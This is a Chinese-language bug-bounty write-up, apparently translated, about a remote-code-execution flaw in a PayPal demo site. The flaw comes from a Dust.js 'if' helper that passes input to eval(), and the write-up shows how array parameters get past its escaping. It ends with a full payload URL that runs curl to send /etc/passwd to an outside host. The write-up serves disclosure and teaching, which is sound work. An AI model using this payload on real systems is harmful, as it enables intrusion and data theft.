PayPal某站價值1W美金的RCE漏洞
當我在測試應用漏洞時,通常都會對所有的變數進行模糊測試,有時候能找出一些不一樣的漏洞。
http://demo.paypal.com的伺服器在處理請求數據中的和%0a時,會在響應中直接拋出錯誤。但是如果提交帶有』(單引號)、」(雙引號)和一些其他字元時,伺服器都會返回狀態碼為200的OK響應。
從報錯信息看,我發現該站點是一個Node.js應用,它在服務端使用的模板引擎為Dust.js(https://github.com/linkedin/dustjs),所以我決定好好研究下這個引擎。通過研究我發現,之所以拋出錯誤的原因是使用了Dust.js的」if」語法(https://github.com/linkedin/dustjs/wiki/Dust-Tutorial#if_condcondition__if_helper_Removed_in_160_release)。
老版本的Dust.js支持」if」語法,你可以通過如下的代碼使用它:
」if」語法內部會調用eval來執行語句。
從上面你可以看到直接調用了eval來執行代碼,這真是一個和優雅的解決方案......
所以當我發起如下請求時:http://demo.paypal.com/demo/navigation?device=xxx,應用會執行以下表達式:eval("xxx== desktop");,然後就拋出錯誤了。
這是不是意味著用戶提交的數據直接被eval()執行了?也不完全是,應用會將一些字元,比如說』(單引號)和」(雙引號)轉換成實體字元( -> ),所以我們沒辦法直接閉合原來的語句然後執行任意代碼。但是讓我們再好好看下進行字元替換的函數(https://github.com/linkedin/dustjs/blob/c20e70edb2041a66067a010bdefbf9fe3267c7ab/lib/dust.js#L846):
那如果我們提交的數據不是字元串呢?在Node.js的應用中,如果我們提交如下數據:http://paypal.com/?device[]=1&device[]=2,變數』device』會被qs模塊(https://www.npmjs.com/package/qs)解析成數組。
我提交了如下數據:https://demo.paypal.com/demo/navigation?device[]=&device[]=後,從返回的syntaxerror內容,我就知道離成功不遠了。我繼續構造數據,最後花了幾分鐘構造了如下請求來讀取伺服器上的/etc/passwd文件內容並發送到我的伺服器。
https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y-require(child_process).exec(curl+-F+"x=`cat+/etc/passwd`"+artsploit.com)-
註:本文參考來源於artsploit
推薦閱讀:
※實例分析:趨勢
※孟洪濤:阻力區的確定
※Android是否存在網路注入攻擊?
※如何在數秒之內破解APT28流量?
※我也想躺著收錢:一個比特幣套利系統的實現